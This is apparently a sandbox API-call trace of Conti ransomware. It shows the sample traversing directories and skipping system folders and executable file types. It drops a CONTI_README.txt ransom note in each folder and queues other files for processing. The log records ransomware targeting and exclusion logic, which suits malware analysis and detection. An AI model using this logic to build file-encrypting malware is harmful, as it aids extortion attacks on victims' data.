	[0093.416] FindNextFileW (in: hFindFile=0x175e330, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12cde, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0093.416] lstrcmpiW (lpString1="LocalizedData.xml", lpString2=".") returned 1
	[0093.416] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="..") returned 1
	[0093.416] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.416] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.416] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".exe") returned 0x0
	[0093.416] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".dll") returned 0x0
	[0093.416] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".lnk") returned 0x0
	[0093.416] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".sys") returned 0x0
	[0093.416] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.416] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.416] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035") returned 26
	[0093.416] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0093.416] GetProcessHeap () returned 0x1720000
	[0093.416] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5a) returned 0x1726e10
	[0093.416] lstrcpyW (in: lpString1=0x1726e10, lpString2="C:\\588bce7c90097ed212\\1035" | out: lpString1="C:\\588bce7c90097ed212\\1035") returned="C:\\588bce7c90097ed212\\1035"
	[0093.416] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1035", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1035\\") returned="C:\\588bce7c90097ed212\\1035\\"
	[0093.416] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1035\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml"
	[0093.417] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c4a08) returned 1
	[0093.417] FindNextFileW (in: hFindFile=0x175e330, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0093.417] lstrcmpiW (lpString1="SetupResources.dll", lpString2=".") returned 1
	[0093.417] lstrcmpiW (lpString1="SetupResources.dll", lpString2="..") returned 1
	[0093.417] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".CONTI") returned 0x0
	[0093.417] StrStrIW (lpFirst="SetupResources.dll", lpSrch="CONTI_README.txt") returned 0x0
	[0093.417] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".exe") returned 0x0
	[0093.417] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".dll") returned=".dll"
	[0093.417] FindNextFileW (in: hFindFile=0x175e330, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0093.417] GetProcessHeap () returned 0x1720000
	[0093.417] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17343f0 | out: hHeap=0x1720000) returned 1
	[0093.417] FindClose (in: hFindFile=0x175e330 | out: hFindFile=0x175e330) returned 1
	[0093.417] GetProcessHeap () returned 0x1720000
	[0093.417] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x175e3b0 | out: hHeap=0x1720000) returned 1
	[0093.417] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="1036", cAlternateFileName="")) returned 1
	[0093.417] lstrcmpiW (lpString1="1036", lpString2=".") returned 1
	[0093.417] lstrcmpiW (lpString1="1036", lpString2="..") returned 1
	[0093.417] lstrcmpiW (lpString1="1036", lpString2="tmp") returned -1
	[0093.417] lstrcmpiW (lpString1="1036", lpString2="winnt") returned -1
	[0093.417] lstrcmpiW (lpString1="1036", lpString2="Application Data") returned -1
	[0093.417] lstrcmpiW (lpString1="1036", lpString2="AppData") returned -1
	[0093.417] lstrcmpiW (lpString1="1036", lpString2="temp") returned -1
	[0093.417] lstrcmpiW (lpString1="1036", lpString2="thumb") returned -1
	[0093.417] lstrcmpiW (lpString1="1036", lpString2="$Recycle.Bin") returned 1
	[0093.417] lstrcmpiW (lpString1="1036", lpString2="$RECYCLE.BIN") returned 1
	[0093.417] lstrcmpiW (lpString1="1036", lpString2="System Volume Information") returned -1
	[0093.417] lstrcmpiW (lpString1="1036", lpString2="Program Files") returned -1
	[0093.417] lstrcmpiW (lpString1="1036", lpString2="Program Files (x86)") returned -1
	[0093.417] lstrcmpiW (lpString1="1036", lpString2="Boot") returned -1
	[0093.417] lstrcmpiW (lpString1="1036", lpString2="Windows") returned -1
	[0093.417] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0093.417] lstrlenW (lpString="1036") returned 4
	[0093.417] GetProcessHeap () returned 0x1720000
	[0093.418] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x36) returned 0x175e330
	[0093.418] lstrcpyW (in: lpString1=0x175e330, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0093.418] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0093.418] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="1036" | out: lpString1="C:\\588bce7c90097ed212\\1036") returned="C:\\588bce7c90097ed212\\1036"
	[0093.418] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036") returned 26
	[0093.418] GetProcessHeap () returned 0x1720000
	[0093.418] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x3a) returned 0x1734558
	[0093.418] lstrcpyW (in: lpString1=0x1734558, lpString2="C:\\588bce7c90097ed212\\1036" | out: lpString1="C:\\588bce7c90097ed212\\1036") returned="C:\\588bce7c90097ed212\\1036"
	[0093.418] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1036", lpString2="\\*" | out: lpString1="C:\\588bce7c90097ed212\\1036\\*") returned="C:\\588bce7c90097ed212\\1036\\*"
	[0093.418] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036") returned 26
	[0093.418] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0093.418] GetProcessHeap () returned 0x1720000
	[0093.418] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x58) returned 0x17bc470
	[0093.418] lstrcpyW (in: lpString1=0x17bc470, lpString2="C:\\588bce7c90097ed212\\1036" | out: lpString1="C:\\588bce7c90097ed212\\1036") returned="C:\\588bce7c90097ed212\\1036"
	[0093.418] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1036", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1036\\") returned="C:\\588bce7c90097ed212\\1036\\"
	[0093.418] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1036\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\588bce7c90097ed212\\1036\\CONTI_README.txt") returned="C:\\588bce7c90097ed212\\1036\\CONTI_README.txt"
	[0093.418] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\CONTI_README.txt" (normalized: "c:\\588bce7c90097ed212\\1036\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0093.426] GetProcessHeap () returned 0x1720000
	[0093.426] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bc470 | out: hHeap=0x1720000) returned 1
	[0093.426] WriteFile (in: hFile=0x334, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f61c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f61c*=0xa2, lpOverlapped=0x0) returned 1
	[0093.427] CloseHandle (hObject=0x334) returned 1
	[0093.427] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4b880dd5, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x175e770
	[0093.427] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0093.427] FindNextFileW (in: hFindFile=0x175e770, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4b880dd5, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.427] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0093.427] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0093.427] FindNextFileW (in: hFindFile=0x175e770, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b85aba3, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4b85aba3, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4b880dd5, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0093.427] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0093.427] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0093.427] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0093.427] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0093.427] FindNextFileW (in: hFindFile=0x175e770, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0093.428] lstrcmpiW (lpString1="eula.rtf", lpString2=".") returned 1
	[0093.428] lstrcmpiW (lpString1="eula.rtf", lpString2="..") returned 1
	[0093.428] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.428] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.428] StrStrIW (lpFirst="eula.rtf", lpSrch=".exe") returned 0x0
	[0093.428] StrStrIW (lpFirst="eula.rtf", lpSrch=".dll") returned 0x0
	[0093.428] StrStrIW (lpFirst="eula.rtf", lpSrch=".lnk") returned 0x0
	[0093.428] StrStrIW (lpFirst="eula.rtf", lpSrch=".sys") returned 0x0
	[0093.428] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.428] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.428] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036") returned 26
	[0093.428] lstrlenW (lpString="eula.rtf") returned 8
	[0093.428] GetProcessHeap () returned 0x1720000
	[0093.428] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x48) returned 0x173d5a8
	[0093.428] lstrcpyW (in: lpString1=0x173d5a8, lpString2="C:\\588bce7c90097ed212\\1036" | out: lpString1="C:\\588bce7c90097ed212\\1036") returned="C:\\588bce7c90097ed212\\1036"
	[0093.428] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1036", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1036\\") returned="C:\\588bce7c90097ed212\\1036\\"
	[0093.428] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1036\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned="C:\\588bce7c90097ed212\\1036\\eula.rtf"
	[0093.428] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c4c50) returned 1
	[0093.428] FindNextFileW (in: hFindFile=0x175e770, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x14412, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0093.428] lstrcmpiW (lpString1="LocalizedData.xml", lpString2=".") returned 1
	[0093.428] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="..") returned 1
	[0093.428] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.428] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.428] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".exe") returned 0x0
	[0093.428] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".dll") returned 0x0
	[0093.428] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".lnk") returned 0x0
	[0093.428] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".sys") returned 0x0
	[0093.428] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.428] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.428] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036") returned 26
	[0093.428] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0093.428] GetProcessHeap () returned 0x1720000
	[0093.428] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5a) returned 0x17bc470
	[0093.429] lstrcpyW (in: lpString1=0x17bc470, lpString2="C:\\588bce7c90097ed212\\1036" | out: lpString1="C:\\588bce7c90097ed212\\1036") returned="C:\\588bce7c90097ed212\\1036"
	[0093.429] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1036", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1036\\") returned="C:\\588bce7c90097ed212\\1036\\"
	[0093.429] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1036\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml"
	[0093.429] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c4e98) returned 1
	[0093.429] FindNextFileW (in: hFindFile=0x175e770, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0093.429] lstrcmpiW (lpString1="SetupResources.dll", lpString2=".") returned 1
	[0093.429] lstrcmpiW (lpString1="SetupResources.dll", lpString2="..") returned 1
	[0093.429] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".CONTI") returned 0x0
	[0093.429] StrStrIW (lpFirst="SetupResources.dll", lpSrch="CONTI_README.txt") returned 0x0
	[0093.429] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".exe") returned 0x0
	[0093.429] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".dll") returned=".dll"
	[0093.429] FindNextFileW (in: hFindFile=0x175e770, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0093.429] GetProcessHeap () returned 0x1720000
	[0093.429] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1734558 | out: hHeap=0x1720000) returned 1
	[0093.429] FindClose (in: hFindFile=0x175e770 | out: hFindFile=0x175e770) returned 1
	[0093.429] GetProcessHeap () returned 0x1720000
	[0093.429] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x175e330 | out: hHeap=0x1720000) returned 1
	[0093.429] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="1037", cAlternateFileName="")) returned 1
	[0093.429] lstrcmpiW (lpString1="1037", lpString2=".") returned 1
	[0093.429] lstrcmpiW (lpString1="1037", lpString2="..") returned 1
	[0093.429] lstrcmpiW (lpString1="1037", lpString2="tmp") returned -1
	[0093.429] lstrcmpiW (lpString1="1037", lpString2="winnt") returned -1
	[0093.429] lstrcmpiW (lpString1="1037", lpString2="Application Data") returned -1
	[0093.429] lstrcmpiW (lpString1="1037", lpString2="AppData") returned -1
	[0093.429] lstrcmpiW (lpString1="1037", lpString2="temp") returned -1
	[0093.429] lstrcmpiW (lpString1="1037", lpString2="thumb") returned -1
	[0093.429] lstrcmpiW (lpString1="1037", lpString2="$Recycle.Bin") returned 1
	[0093.429] lstrcmpiW (lpString1="1037", lpString2="$RECYCLE.BIN") returned 1
	[0093.429] lstrcmpiW (lpString1="1037", lpString2="System Volume Information") returned -1
	[0093.429] lstrcmpiW (lpString1="1037", lpString2="Program Files") returned -1
	[0093.429] lstrcmpiW (lpString1="1037", lpString2="Program Files (x86)") returned -1
	[0093.430] lstrcmpiW (lpString1="1037", lpString2="Boot") returned -1
	[0093.430] lstrcmpiW (lpString1="1037", lpString2="Windows") returned -1
	[0093.430] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0093.430] lstrlenW (lpString="1037") returned 4
	[0093.430] GetProcessHeap () returned 0x1720000
	[0093.430] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x36) returned 0x175e4f0
	[0093.430] lstrcpyW (in: lpString1=0x175e4f0, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0093.430] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0093.430] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="1037" | out: lpString1="C:\\588bce7c90097ed212\\1037") returned="C:\\588bce7c90097ed212\\1037"
	[0093.430] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037") returned 26
	[0093.430] GetProcessHeap () returned 0x1720000
	[0093.430] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x3a) returned 0x17346c0
	[0093.430] lstrcpyW (in: lpString1=0x17346c0, lpString2="C:\\588bce7c90097ed212\\1037" | out: lpString1="C:\\588bce7c90097ed212\\1037") returned="C:\\588bce7c90097ed212\\1037"
	[0093.430] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1037", lpString2="\\*" | out: lpString1="C:\\588bce7c90097ed212\\1037\\*") returned="C:\\588bce7c90097ed212\\1037\\*"
	[0093.430] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037") returned 26
	[0093.430] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0093.430] GetProcessHeap () returned 0x1720000
	[0093.430] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x58) returned 0x17c2a10
	[0093.430] lstrcpyW (in: lpString1=0x17c2a10, lpString2="C:\\588bce7c90097ed212\\1037" | out: lpString1="C:\\588bce7c90097ed212\\1037") returned="C:\\588bce7c90097ed212\\1037"
	[0093.430] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1037", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1037\\") returned="C:\\588bce7c90097ed212\\1037\\"
	[0093.430] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1037\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\588bce7c90097ed212\\1037\\CONTI_README.txt") returned="C:\\588bce7c90097ed212\\1037\\CONTI_README.txt"
	[0093.430] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\CONTI_README.txt" (normalized: "c:\\588bce7c90097ed212\\1037\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0093.435] GetProcessHeap () returned 0x1720000
	[0093.435] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c2a10 | out: hHeap=0x1720000) returned 1
	[0093.435] WriteFile (in: hFile=0x338, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f61c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f61c*=0xa2, lpOverlapped=0x0) returned 1
	[0093.436] CloseHandle (hObject=0x338) returned 1
	[0093.436] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4b880dd5, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x175e330
	[0093.436] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0093.436] FindNextFileW (in: hFindFile=0x175e330, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4b880dd5, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.436] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0093.436] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0093.436] FindNextFileW (in: hFindFile=0x175e330, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b880dd5, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4b880dd5, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4b880dd5, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0093.436] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0093.436] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0093.436] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0093.437] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0093.437] FindNextFileW (in: hFindFile=0x175e330, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0093.437] lstrcmpiW (lpString1="eula.rtf", lpString2=".") returned 1
	[0093.437] lstrcmpiW (lpString1="eula.rtf", lpString2="..") returned 1
	[0093.437] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.437] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.437] StrStrIW (lpFirst="eula.rtf", lpSrch=".exe") returned 0x0
	[0093.437] StrStrIW (lpFirst="eula.rtf", lpSrch=".dll") returned 0x0
	[0093.437] StrStrIW (lpFirst="eula.rtf", lpSrch=".lnk") returned 0x0
	[0093.437] StrStrIW (lpFirst="eula.rtf", lpSrch=".sys") returned 0x0
	[0093.437] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.437] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
